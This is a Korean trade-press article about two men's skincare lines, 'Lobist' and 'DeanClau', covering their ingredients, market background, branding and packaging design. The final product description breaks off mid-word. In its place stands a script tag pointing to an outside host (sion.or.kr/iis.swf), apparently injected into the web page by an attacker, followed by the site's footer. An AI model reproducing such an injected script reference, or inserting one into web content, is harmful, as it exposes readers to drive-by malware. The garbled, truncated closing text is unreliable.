제품특징
‘로비스트’는 남성피부가 각종 내외적 스트레스에 의해 건조해지거나 노화되기 쉽다는데 착안, 안티스트레스 기능을 강화했다. 각종 아미노산과 해발1000~3000m 의 높은 알프스 고지에서 자생하는 스위스 알파인 허브 등으로 식물 허브에너지를 이용해 피부 스트레스를 해소하고 정화시켜 깨끗한 피부로 가꾸어 준다.
또한 활발한 호르몬작용으로 피지선이 활성화되는 남성피부의 문제점을 청정지역의 식물을 이용해 개선시켰다. 피지를 컨트롤해 모공축소 및 항염효과를 줄 뿐 아니라 건조한 부위에는 보습성분으로 촉촉한 피부를 유지시켜 준다. 그리고 아로마틱 후제아 후레쉬계열의 향취가 은은하면서도 부드러운 남성미를 표현해 준다.
로비스트는 내적인 제품력뿐 아니라 외적인 디자인에도 한층 심플함과 고급감을 살렸으며 투명함과 실버의 조화로 시원하고 도시적인 남성적인 느낌을 표현했다.
각종 인쇄매체 및 이벤트로 전문점 홍보활동을 집중적으로 해 나갈 방침이다. 점차 확대되고 있는 남성화장품 시장에 이번 로비스트를 계기로 더욱 고급화되고 다양해지는 고객욕구를 충족시켜 나갈 예정이다.
◆딘클라우
개발배경
연간 2000여억원에 달하는 남성화장품의 시장규모는 98년 1186억, 99년 1700억원으로 꾸준한 증가세를 보이며 성장가능성을 높인 시장이다.
인구 사회학적으로는 젊은 남성들의 미용 및 패션에 대한 관심이 증가하는등 남성의 외모에 대한 관심이 높은 것을 고려할 때 시장 확대의 가능성이 높다고 할 수 있다. 최근 로션,팩, 향수 등에 대한 소비가 늘고 있으며 특히 로션은 끈적이지 않으면서 향이 우수한 제품을 선호하는 추세다.
딘클라우는 이러한 시장환경과 사회적인 추세를 반영해 개발한 제품이다. 젊은 남성을 위한 ‘피부인텔리전트"를 지향함으로써 지적이면서도 부드러움과 세련된 남성의 이미지를 전달해 줄수 있는 남성 전문 브랜드의 필요성에 따라 탄생된 제품이다.
브랜드 전략
‘딘클라우’는 깔끔한 남성피부를 위한 스킨케어를 위해 탄생된 제품으로 피부인텔리전트를 지향한다. 이에따라 세련된 피부로 지적이면서 부드럽고 세련된 남성의 이미지를 전달하는데 역점을 두었다. 브랜드명인 ‘딘클라우’는 선임자라는 의미의 ‘Dean’과 깨끗함과 맑음을 의미하는 ‘Clau’의 합성어로 부드러우면서도 세련된 지적인 남성의 이미지를 표현하고 있다.
디자인 전략
‘딘클라우’는 원통형의 부드럽고 심플한 형태의 용기와 블루와 실버 톤의 컬러를 채택함으로써 세련미와 지성미를 부여하는 화장품이라는 이미지의 통일성을 부여하고자 했다.
용기의 전체적인 형태는 원통형 용기를 채택해 외형에서 절제된 일체감 있는 형상으로 캡슐의 이미지를 표현하였으며 컬러면에서는 실버 메탈릭코팅에 의한 캡컬러와 블루코팅에 의한 용기컬러가 잘 배색되어 청량감과 고급스러움을 더할수 있도록 하여 남성피부의 자신감 회복과 함께 건강한 피부를 유지할 수 있음을 표현했다. 브랜드 로고타입은 DeanClau의 첫 알파벳 ‘D’자를 브랜드 고유의 심볼마크로 형상화 하여 부드럽고 지적인 남성의 이미지를 전달했고 전체적인 레이아웃은 용기 하단부에 위치시켜 안정감을 주었다.
제품특징
딘클라우는 피지분비량이 여성에 비해 2배 가량이 많고 번들거림과 건조함이 공존하는 복합성 피부에 지유, 계피,생강의 3가지 한방식물 복합체인 세부스탑(Sebustop)의 수렴효과로 넓어진 모공에 긴장감을 부여한다. 또한 미생물 증식을 억제하여 피지로 인해 발생하는 각종 피부 트러블로부터 피부를 깨끗?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr
<저작권자 © 제니파크, 무단 전재 및 재배포 금지>
